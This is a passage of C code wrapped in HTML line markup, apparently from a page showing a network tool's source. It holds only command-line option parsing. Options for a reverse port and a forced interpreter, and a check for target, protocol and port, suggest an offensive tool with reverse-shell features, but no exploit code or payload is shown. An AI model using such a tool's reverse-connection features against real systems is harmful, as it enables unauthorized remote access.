<DIV class="line number337 index336 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(255);</DIV>

<DIV class="line number338 index337 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}</DIV>

<DIV class="line number339 index338 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memcpy(reverseportstr, optarg, strlen(optarg)+1);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </DIV>

<DIV class="line number340 index339 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;</DIV>

<DIV class="line number341 index340 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case 5:</DIV>

<DIV class="line number342 index341 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;forceinterpreter = calloc(strlen(optarg)+1, sizeof(char));</DIV>

<DIV class="line number343 index342 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (!forceinterpreter) {</DIV>

<DIV class="line number344 index343 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf("calloc error (6)\n");</DIV>

<DIV class="line number345 index344 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(255);</DIV>

<DIV class="line number346 index345 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}</DIV>

<DIV class="line number347 index346 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memcpy(forceinterpreter, optarg, strlen(optarg)+1);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </DIV>

<DIV class="line number348 index347 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;</DIV>

<DIV class="line number349 index348 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;default:</DIV>

<DIV class="line number350 index349 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;usage(argv);</DIV>

<DIV class="line number351 index350 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}</DIV>

<DIV class="line number352 index351 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;</DIV>

<DIV class="line number353 index352 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</DIV>

<DIV class="line number354 index353 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;default:</DIV>

<DIV class="line number355 index354 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;usage(argv);</DIV>

<DIV class="line number356 index355 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}</DIV>

<DIV class="line number357 index356 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;}</DIV>

<DIV class="line number358 index357 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;</DIV>

<DIV class="line number359 index358 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;if ((optind &lt; argc) || !target || !protocol || !port ||</DIV>

